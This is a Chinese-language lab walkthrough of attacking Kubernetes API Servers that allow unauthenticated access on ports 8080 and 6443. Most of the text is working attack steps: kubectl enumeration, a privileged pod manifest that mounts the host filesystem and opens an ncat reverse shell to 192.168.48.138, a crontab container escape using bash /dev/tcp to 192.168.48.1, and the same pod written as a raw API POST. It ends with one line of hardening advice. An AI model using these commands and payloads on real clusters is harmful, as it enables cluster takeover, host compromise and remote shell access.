API Server 是 Kubernetes 集群的核心管理接口,所有资源请求和操作都通过 kube-apiserver 提供的 API 进行处理。默认情况下,API Server 会监听两个端口:8080 和 6443。如果配置不当,可能会导致未授权访问的安全风险。
8080 端口
默认情况下不启用,该端口不需要认证和授权检查。如果意外暴露(v1.20以下版本),攻击者可以直接访问集群资源,导致未授权访问。
--insecure-port 和 --insecure-bind-address 参数已经被 废弃,在 Kubernetes v1.20+ 版本中它们已经无法正常使用,尤其是 --insecure-port,只能被设置为 0,否则会导致 API Server 启动失败。
(1)攻击者发现未授权访问页面
这时便可利用Kubernetes 的命令行工具kubectl对集群运行命令
安装工具 | Kubernetes
我这里使用scoop安装kubectl工具
(2)攻击者使用kubectl工具运行以下命令进行探测
kubectl -s 192.168.48.142:8080 get nodes
kubectl -s 192.168.48.142:8080 get pods
得到类似以下信息(这里复现用的版本是v1.23.6,是借助本地代理方式实现的,其与低版本暴露8080端口是一样的效果)
(3)攻击者通过1.yaml文件自定义创建恶意POD,配置如下
参考文章 【云原生安全】Bad Pods系列基础篇-创建恶意POD - FreeBuf网络安全行业门户
apiVersion: v1
kind: Pod
metadata:name: everything-allowed-revshell-podlabels:app: pentest
spec:hostNetwork: truehostPID: truehostIPC: truecontainers:- name: everything-allowed-podimage: raesene/ncatcommand: [ "/bin/sh", "-c", "--" ]args: [ "ncat 192.168.48.138 4446 -e /bin/bash;" ]securityContext:privileged: truevolumeMounts:- mountPath: /hostname: noderoot#nodeName: master-1 #取消注释,可将master-1更改为指定节点的名称,可以强制将该Pod调度到该节点上运行。volumes:- name: noderoothostPath:path: /
创建POD命令
kubectl -s 192.168.48.142:8080 create -f 1.yaml
(4)攻击者监听,接受到shell,执行hostname,返回node2,但是容器权限
(5)写入计划任务,进行容器逃逸
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.48.1/4444 0>&1\n" >> /host/etc/crontab
(6)接受到宿主机权限
6443 端口
默认启用,并且要求认证。如果配置错误,例如将 `system:anonymous` 用户绑定到 `cluster-admin` 用户组,攻击者可能绕过认证,获得集群管理员权限,造成未授权访问。
#引起未授权的配置命令
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous#如果你想关闭这个权限,实际上你只需要删除这个ClusterRoleBinding,命令如下
kubectl delete clusterrolebinding system:anonymous#验证
kubectl get clusterrolebinding system:anonymous
(1)攻击者发现6443端口未授权页面
(2)使用以下命令探测验证
kubectl -s https://192.168.48.142:6443 --insecure-skip-tls-verify get pods
kubectl -s https://192.168.48.142:6443 --insecure-skip-tls-verify get nodes
结果
(3)同之前的8080端口一样的利用方式,创建恶意POD
kubectl -s https://192.168.48.142:6443 --insecure-skip-tls-verify create -f 1.yaml
同理,以下为POD配置内容
也可以通过POST发包的方式创建恶意POD
https://192.168.48.142:6443/api/v1/namespaces/default/pods/#POST提交:{"apiVersion":"v1","kind":"Pod","metadata":{"name":"everything-allowed-revshell-pod","namespace":"default","labels":{"app":"pentest"},"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"name\":\"everything-allowed-revshell-pod\",\"namespace\":\"default\",\"labels\":{\"app\":\"pentest\"}},\"spec\":{\"hostNetwork\":true,\"hostPID\":true,\"hostIPC\":true,\"containers\":[{\"name\":\"everything-allowed-pod\",\"image\":\"raesene/ncat\",\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"args\":[\"ncat 192.168.48.138 4446 -e /bin/bash;\"],\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"noderoot\"}]}}"},"spec":{"hostNetwork":true,"hostPID":true,"hostIPC":true,"containers":[{"name":"everything-allowed-pod","image":"raesene/ncat","command":["/bin/sh","-c","--"],"args":["ncat 192.168.48.138 4446 -e /bin/bash;"],"securityContext":{"privileged":true},"volumeMounts":[{"mountPath":"/host","name":"noderoot"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"noderoot"}]}}
(4)攻击者成功接受到shell,节点为node2,容器root权限。后续利用,不再累赘
因此,确保 API Server 的配置正确,避免暴露不必要的端口,并严格控制用户权限,是保障集群安全的关键。